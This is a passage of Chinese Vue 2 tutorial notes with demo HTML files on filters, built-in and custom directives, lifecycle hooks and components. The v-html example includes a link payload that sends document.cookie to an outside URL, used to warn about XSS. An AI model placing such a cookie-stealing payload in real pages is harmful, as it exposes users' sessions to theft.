		</form>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	new Vue({
		el: '#root',
		data: {
			userInfo: {
				account: '',
				password: '',
				age: 18,
				sex: 'female',
				hobby: [],
				city: 'beijing',
				other: '',
				agree: ''
			}
		},
		methods: {
			demo() {
				console.log(JSON.stringify(this.userInfo))
			}
		}
	})
</script>

</html>

14_过滤器

过滤器.html

	<!-- 
过滤器:
	定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
	语法:
		1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
		2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"    ------》过滤器本身是一个函数
			注意:过滤器不能用于 v-model
	备注:
		1.过滤器也可以接收额外参数、多个过滤器也可以串联
		2.并没有改变原本的数据, 是产生新的对应的数据

		全局过滤器:Vue.filter(方法名,function(参数){})
		局部过滤器:new Vue({
			filters:{
				...
			}
		})
-->

image-20210926011504344

image-20210926011643534

image-20210926012208308

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>过滤器</title>
	<script type="text/javascript" src="../js/vue.js"></script>

	<!-- 引入日期格式化脚本 -->
	<script type="text/javascript" src="../js/dayjs.min.js"></script>
</head>

<body>
	<!-- 
过滤器:
	定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
	语法:
		1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
		2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
			注意:过滤器不能用于 v-model
	备注:
		1.过滤器也可以接收额外参数、多个过滤器也可以串联
		2.并没有改变原本的数据, 是产生新的对应的数据

		全局过滤器:Vue.filter(方法名,function(参数){})
		局部过滤器:new Vue({
			filters:{
				...
			}
		})
-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>显示格式化后的时间</h2>
		<!-- 计算属性实现 -->
		<h3>1现在是:{{fmtTime}}</h3>
		<!-- methods实现 -->
		<h3>2现在是:{{getFmtTime()}}</h3>
		<!-- 过滤器实现 -->
		<h3>3现在是:{{time | timeFormater}}</h3>
		<!-- 过滤器实现(传参) -->
		<h3>4现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
		<h3 :x="msg | mySlice">尚硅谷</h3>

		<!-- v-model 不能用管道符 -->
		<!-- <h3 v-model="msg | mySlice">尚硅谷</h3> -->
	</div>

	<div id="root2">
		<h2>{{msg | mySlice}}</h2>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false
	//全局过滤器,需要在vue实例对象的外面定义
	Vue.filter('mySlice', function (value) {
		return value.slice(0, 4)
	})

	new Vue({
		el: '#root',
		data: {
			time: 1621561377603, //时间戳
			msg: '你好,尚硅谷'
		},
		computed: {
			fmtTime() {
				return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
			}
		},
		methods: {
			getFmtTime() {
				return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
			}
		},
		//局部过滤器
		filters: {
			timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
				// console.log('@',value)
				return dayjs(value).format(str)
			}
		}
	})

	new Vue({
		el: '#root2',
		data: {
			msg: 'hello,atguigu!'
		}
	})
</script>

</html>

15_内置指令

image-20220308223111519

1.v-text_指令.html

<!-- 
我们学过的指令:
	v-bind	: 单向绑定解析表达式, 可简写为 :xxx
	v-model	: 双向数据绑定
	v-for  	: 遍历数组/对象/字符串
	v-on   	: 绑定事件监听, 可简写为@
	v-if 	 	: 条件渲染(动态控制节点是否存存在)
	v-else 	: 条件渲染(动态控制节点是否存存在)
	v-show 	: 条件渲染 (动态控制节点是否展示)
v-text指令:
	1.作用:向其所在的节点中渲染文本内容。
	2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
	3.如果v-text所渲染的字符串含有其他标签,不支持标签的解析,
		统一充当字符串来处理,见下面的<div v-text="str"></div>
-->
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
我们学过的指令:
	v-bind	: 单向绑定解析表达式, 可简写为 :xxx
	v-model	: 双向数据绑定
	v-for  	: 遍历数组/对象/字符串
	v-on   	: 绑定事件监听, 可简写为@
	v-if 	 	: 条件渲染(动态控制节点是否存存在)
	v-else 	: 条件渲染(动态控制节点是否存存在)
	v-show 	: 条件渲染 (动态控制节点是否展示)
v-text指令:
	1.作用:向其所在的节点中渲染文本内容。
	2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
	3.如果v-text所渲染的字符串含有其他标签,不支持标签的解析,
		统一充当字符串来处理,见下面的<div v-text="str"></div>
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>
</html>

2.v-html_指令.html

<!-- 
v-html指令:
	1.作用:向指定节点中渲染包含html结构的内容。
	2.与插值语法的区别:
		(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
		(2).v-html可以识别html结构。
	3.严重注意:v-html有安全性问题!!!!
		(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
		(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
-->
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
v-html指令:
	1.作用:向指定节点中渲染包含html结构的内容。
	2.与插值语法的区别:
		(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
		(2).v-html可以识别html结构。
	3.严重注意:v-html有安全性问题!!!!
		(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
		(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>
</html>

3.v-cloak_指令.html

<!-- 
v-cloak指令(没有值):
	保持和元素实例的关联,直到结束编译后自动消失
	v-cloak指令和CSS 规则一起用的时候,能够解决差值表达式闪烁的问题(即:可以隐藏未编译的标签直到实例准备完毕)
	1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
	2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

	就拿上一段代码来举例,比如说,{{name}}这个内容,在网速很慢的情况下,一开始会直接显示{{name}}这个内容,
	等网络加载完成了,才会显示尚硅谷。那这个闪烁的问题该怎么解决呢?

	解决办法是:通过v-cloak隐藏{{name}}这个内容,当加载完毕后,再显示出来。
-->
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			/* css语法:[xxx]选中包含xxx属性的所有元素 */
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
<!-- 
v-cloak指令(没有值):
	保持和元素实例的关联,直到结束编译后自动消失
	v-cloak指令和CSS 规则一起用的时候,能够解决差值表达式闪烁的问题(即:可以隐藏未编译的标签直到实例准备完毕)
	1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
	2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

	就拿上一段代码来举例,比如说,{{name}}这个内容,在网速很慢的情况下,一开始会直接显示{{name}}这个内容,
	等网络加载完成了,才会显示尚硅谷。那这个闪烁的问题该怎么解决呢?

	解决办法是:通过v-cloak隐藏{{name}}这个内容,当加载完毕后,再显示出来。
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

4.v-once_指令.html

<!-- 
v-once指令:
	1.v-once所在节点在初次动态渲染后,就视为静态内容了。
	2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
-->
<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>v-once指令</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 
v-once指令:
	1.v-once所在节点在初次动态渲染后,就视为静态内容了。
	2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2 v-once>初始化的n值是:{{n}}</h2>
		<h2>当前的n值是:{{n}}</h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			n: 1
		}
	})
</script>

</html>

5.v-pre_指令.html

<!-- 
v-pre指令:
	1.跳过其所在节点的编译过程。
	2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
-->
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
v-pre指令:
	1.跳过其所在节点的编译过程。
	2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

16_自定义指令

1.自定义入门指令.html

<!-- <body>
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<!-- <body>
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
-->
    
    <div id="root">
        <h2>当前的n值是: <span v-text="n"></span></h2>
        <h2>放大10倍后的n值是:<span v-big="n"></span></h2>
        <button @click="n++">点击我n+1</button>
    </div>
</body>
<script type="text/javascript">

    new Vue({
        el:"#root",
        data:{
            name:'尚硅谷',
            n:1
        },
        directives:{
            //big函数会受到两个参数
            // 参数1:v-big指令相关联的元素(本例关联的是span元素),可以利用关联的元素标签嵌入(操作Dom的方法)值
            //参数2:绑定器对象,可以从绑定器对象中取值
            big(element,binding){  
                console.log(element, binding)
                element.innerText = binding.value*10;
                }
        }
    })
</script>
</html>

2.自定义指令.html

<!-- 
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
自定义指令总结:
	一、定义语法:
		(1).局部指令:
			new Vue({
				directives:{指令名:配置对象}   或   directives{指令名:回调函数}
			})
		(2).全局指令:
			Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

//////////////////////////////////////////////////////////////////////////////////////
		directives: {
//--------------------------自定义指令一般方法----------------------------

			//big只是一个指令名,可以随意设置
			big: {
				//指令与元素成功绑定时(一上来就绑定,也就是在虚拟dom的阶段绑定)
//element参数指的是指令绑定的标签,例<span v-big></span>,此时element参数为span元素
//binding参数也是一个对象,里面包含绑定的值,例<span v-big=“n”></span>,此时binding对象中包含n这个数据
				bind(element, binding) {
					element.value = binding.value
				},
			//指令所在元素被插入页面时(虚拟dom转为真实dom后)
				inserted(element, binding) {
					element.focus()
				},
			//指令所在的模板被重新解析时
				update(element, binding) {
					element.value = binding.value
				}
			}
//-----------------------------自定义指令简便方法----------------------------------------
			// 此时的big等价于bind回调函数和update回调函数
			big(element, binding) {
				console.log('big', this) //注意此处的this是window
				element.innerText = binding.value * 10
			},
		}
//////////////////////////////////////////////////////////////////////////////////////////

	二、配置对象中常用的3个回调:
		(1).bind:指令与元素成功绑定时调用(一上来就绑定,也就是在虚拟dom的阶段绑定)。
		(2).inserted:指令所在元素被插入页面时调用(虚拟dom转为真实dom后)。
		(3).update:指令所在模板结构被重新解析时调用。

	三、备注:
		1.指令定义时不加v-,但使用时要加v-;
		2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
-->
<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>自定义指令</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
<!-- 
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
自定义指令总结:
	一、定义语法:
		(1).局部指令:
			new Vue({
				directives:{指令名:配置对象}   或   directives{指令名:回调函数}
			})
		(2).全局指令:
			Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

	二、配置对象中常用的3个回调:
		(1).bind:指令与元素成功绑定时调用。
		(2).inserted:指令所在元素被插入页面时调用。
		(3).update:指令所在模板结构被重新解析时调用。

	三、备注:
		1.指令定义时不加v-,但使用时要加v-;
		2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>{{name}}</h2>
		<h2>当前的n值是:<span v-text="n"></span> </h2>
		<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
		<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
		<hr />
		<input type="text" v-fbind:value="n">
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	//定义全局指令
	/* Vue.directive('fbind',{
		//指令与元素成功绑定时(一上来就绑定,也就是在虚拟dom的阶段绑定)
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时(虚拟dom转为真实dom后)
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	}) */

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			n: 1
		},
		directives: {
			//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
			/* 'big-number'(element,binding){
				// console.log('big')
				element.innerText = binding.value * 10
			}, */

			// 此时的big等价于bind回调函数和update回调函数
			big(element, binding) {
				console.log('big', this) //注意此处的this是window
				// console.log('big')
				element.innerText = binding.value * 10
			},
			fbind: {
				//指令与元素成功绑定时(一上来)
				bind(element, binding) {
					element.value = binding.value
				},
				//指令所在元素被插入页面时
				inserted(element, binding) {
					element.focus()
				},
				//指令所在的模板被重新解析时
				update(element, binding) {
					element.value = binding.value
				}
			}
		}
	})

</script>

</html>

3.回顾一个DOM操作.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Document</title>
		<style>
			.demo{
				background-color: orange;
			}
		</style>
	</head>
	<body>
		<button id="btn">点我创建一个输入框</button>
		
		<script type="text/javascript" >
			const btn = document.getElementById('btn')
			btn.onclick = ()=>{
				const input = document.createElement('input')

				input.className = 'demo'
				input.value = 99
				input.onclick = ()=>{alert(1)}
				
				document.body.appendChild(input)

				input.focus()
				// input.parentElement.style.backgroundColor = 'skyblue'
				console.log(input.parentElement)
			}
		</script>
	</body>
</html>

17_生命周期

声明周期图:

生命周期

Vue生命周期三大流程

image-20220310234448789

mounted方法执行时机

image-20210928081516670

1.引出生命周期.html

<!-- 
生命周期:
	1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
	2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
	3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
	4.生命周期函数中的this指向是vm 或 组件实例对象。
-->
<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>引出生命周期</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
<!-- 
生命周期:
	1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
	2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
	3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
	4.生命周期函数中的this指向是vm 或 组件实例对象。
-->

	<!-- 准备好一个容器-->
	<div id="root">
		<h2 v-if="a">你好啊</h2>
		<!-- <h2 :style="{opacity:opacity}">欢迎学习Vue</h2> -->
		<!-- 缩写 -->
		<h2 :style="{opacity}">欢迎学习Vue</h2>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	var vm = new Vue({
		el: '#root',
		data: {
			a: false,
			opacity: 1
		},
		methods: {

		},
		//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
		mounted() {
			console.log('mounted', this)
			setInterval(() => {
				this.opacity -= 0.01
				if (this.opacity <= 0) this.opacity = 1
			}, 16)
		},
	})

		//通过外部的定时器实现(不推荐)
	/*setInterval(() => {
	   vm.opacity -= 0.01
	   if(vm.opacity <= 0) vm.opacity = 1
   },16) */
</script>

</html>

2.分析生命周期.html

<!-- 
	当执行this.$destroy()方法时,会调用beforeDestroy()和destroyed()方法,
		然后把Vue实例对象包括对象中的数据全部删除
-->
<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>分析生命周期</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
<!-- 
	当执行this.$destroy()方法时,会调用beforeDestroy()和destroyed()方法,
		然后把Vue实例对象包括对象中的数据全部删除
-->
	<!-- 准备好一个容器-->
	<div id="root" :x="n">
		<h2 v-text="n"></h2>
		<h2 id="h">当前的n值是:{{n}}</h2>
		<button @click="add">点我n+1</button>
		<button @click="bye">点我销毁vm</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		// template:`
		// 	<div>
		// 		<h2>当前的n值是:{{n}}</h2>
		// 		<button @click="add">点我n+1</button>
		// 	</div>
		// `,
		data: {
			n: 1
		},
		methods: {
			add() {
				console.log('add')
				this.n++
			},
			bye() {
				console.log('bye')
				this.$destroy()
			}
		},
		watch: {
			n() {
				console.log('n变了')
			}
		},
		beforeCreate() {
			console.log('beforeCreate')
		},
		created() {
			console.log('created')
		},
		beforeMount() {
			console.log('beforeMount')
		},
		mounted() {
			console.log('mounted')
		},
		beforeUpdate() {
			console.log('beforeUpdate')
		},
		updated() {
			console.log('updated')
		},

		// 以下俩个方法执行时,不会触发页面的更新
		beforeDestroy() {
			console.log('beforeDestroy')
			this.n = 9; //虽然执行了这行代码,但是页面不会更新
		},
		destroyed() {
			console.log('destroyed')
		},
	})
</script>

</html>

3.总结生命周期.html

<!-- 
常用的生命周期钩子:
	1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
	2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例
	1.销毁信息。
	2.销毁后自定义事件后借助Vue开发者工具看不到任何会失效,但原生DOM事件依然有效。
	3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
-->
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
常用的生命周期钩子:
	1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
	2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例
	1.销毁信息。
	2.销毁后自定义事件后借助Vue开发者工具看不到任何会失效,但原生DOM事件依然有效。
	3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 :style="{opacity}">欢迎学习Vue</h2>
			<button @click="opacity = 1">透明度设置为1</button>
			<button @click="stop">点我停止变换</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		 new Vue({
			el:'#root',
			data:{
				opacity:1
			},
			methods: {
				stop(){
					this.$destroy()
				}
			},
			//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
			mounted(){
				console.log('mounted',this)
				this.timer = setInterval(() => {
					console.log('setInterval')
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
			beforeDestroy() {
				clearInterval(this.timer)
				console.log('vm即将驾鹤西游了')
			},
		})

	</script>
</html>

组件

cookie原理

image-20210926082115489

image-20210926083202756

模块与组件

2.1.1. 模块

  1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件

  2. 为什么: js 文件很多很复杂

  3. 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率

2.1.2. 组件

  1. 理解: 用来实现局部(特定)功能效果的代码集合(html/css/js/image…..)

  2. 为什么: 一个界面的功能很复杂

  3. 作用: 复用编码, 简化项目编码, 提高运行效率

2.1.3. 模块化

当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用。

2.1.4. 组件化

当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用,。

组件入门

image-20210929075958779

image-20210929081221892

image-20211001173452630

image-20211001173600635

单文件组件与非单文件组件

image-20210929082845172

image-20210929082949916

1.基本使用.html

<!-- 
Vue中使用组件的三大步骤:
	一、定义组件(创建组件)
	二、注册组件
	三、使用组件(写组件标签)

一、如何定义一个组件?
	使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
	区别如下:
		1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
		2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
	备注:使用template可以配置组件结构。

二、如何注册组件?
		1.局部注册:靠new Vue的时候传入components选项
		2.全局注册:靠Vue.component('组件名',组件)

三、编写组件标签:
	<school></school>
-->
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本使用</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
Vue中使用组件的三大步骤:
	一、定义组件(创建组件)
	二、注册组件
	三、使用组件(写组件标签)

一、如何定义一个组件?
	使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
	区别如下:
		1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
		2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
	备注:使用template可以配置组件结构。

二、如何注册组件?
		1.局部注册:靠new Vue的时候传入components选项
		2.全局注册:靠Vue.component('组件名',组件)

三、编写组件标签:
	<school></school>
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<hello></hello>
			<hr>
			<h1>{{msg}}</h1>
			<hr>
			<!-- 第三步:编写组件标签 -->
			<school></school>
			<hr>
			<!-- 第三步:编写组件标签 -->
			<student></student>
		</div>

		<div id="root2">
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		//第一步:创建school组件
		const school = Vue.extend({
			template:`
				<div class="demo">
					<h2>学校名称:{{schoolName}}</h2>
					<h2>学校地址:{{address}}</h2>
					<button @click="showName">点我提示学校名</button>	
				</div>
			`,
			// el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
			data(){
				return {
					schoolName:'尚硅谷',
					address:'北京昌平'
				}
			},
			methods: {
				showName(){
					alert(this.schoolName)
				}
			},
		})

		//第一步:创建student组件
		const student = Vue.extend({
			template:`
				<div>
					<h2>学生姓名:{{studentName}}</h2>
					<h2>学生年龄:{{age}}</h2>
				</div>
			`,
			data(){
				return {
					studentName:'张三',
					age:18
				}
			}
		})
		
		//第一步:创建hello组件
		const hello = Vue.extend({
			template:`
				<div>	
					<h2>你好啊!{{name}}</h2>
				</div>
			`,
			data(){
				return {
					name:'Tom'
				}
			}
		})
		
		//第二步:全局注册组件
		Vue.component('hello',hello)

		//创建vm
		new Vue({
			el:'#root',
			data:{
				msg:'你好啊!'
			},
			//第二步:注册组件(局部注册)
			components:{
				school,
				student
			}
		})

		new Vue({
			el:'#root2',
		})
	</script>
</html>

2.几个注意点.html

<!-- 
几个注意点:
	1.关于组件名:
		一个单词组成:
			第一种写法(首字母小写):school
			第二种写法(首字母大写):School
		多个单词组成:
			第一种写法(kebab-case命名):my-school
			第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
		备注:
			(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
			(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

	2.关于组件标签:
		第一种写法:<school></school>
		第二种写法:<school/>
		备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

	3.一个简写方式:
		const school = Vue.extend(options) 可简写为:const school = options;如果是简写,vue底层会帮我们判断,然后转为Vue.extend(options)
-->
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>几个注意点</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
几个注意点:
	1.关于组件名:
		一个单词组成:
			第一种写法(首字母小写):school
			第二种写法(首字母大写):School
		多个单词组成:
			第一种写法(kebab-case命名):my-school
			第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
		备注:
			(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
			(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

	2.关于组件标签:
		第一种写法:<school></school>
		第二种写法:<school/>
		备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

	3.一个简写方式:
		const school = Vue.extend(options) 可简写为:const school = options;如果是简写,vue底层会帮我们判断,然后转为Vue.extend(options)
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>{{msg}}</h1>
			<!-- 第三步,使用组件 -->
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		//第一步:定义组件
		const s = Vue.extend({
			name:'atguigu',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			}
		})

		new Vue({
			el:'#root',
			data:{
				msg:'欢迎学习Vue!'
			},
			// 第二步:注册组件
			components:{
				school:s
			}
		})
	</script>
</html>

3.组件的嵌套.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>组件的嵌套</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//定义student组件
		const student = Vue.extend({
			name:'student',
			template:`
				<div>
					<h2>学生姓名:{{name}}</h2>	
					<h2>学生年龄:{{age}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					age:18
				}
			}
		})
		
		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<student></student>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			//注册组件(局部)
			components:{
				student
			}
		})

		//定义hello组件
		const hello = Vue.extend({
			template:`<h1>{{msg}}</h1>`,
			data(){
				return {
					msg:'欢迎来到尚硅谷学习!'
				}
			}
		})
		
		//定义app组件
		const app = Vue.extend({
			template:`
				<div>	
					<hello></hello>
					<school></school>
				</div>
			`,
			components:{
				school,
				hello
			}
		})

		//创建vm
		new Vue({
			template:'<app></app>',
			el:'#root',
			//注册组件(局部)
			components:{app}
		})
	</script>
</html>

image-20211002010347728

image-20211002010143745

4.VueComponent.html

<!-- 
关于VueComponent:
	1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

	2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,
		即Vue帮我们执行的:new VueComponent(options)。

	3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!

	4.关于this指向:
		(1).组件配置中:
					data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
		(2).new Vue(options)配置中:
					data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

	5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
		Vue的实例对象,以后简称vm。
-->
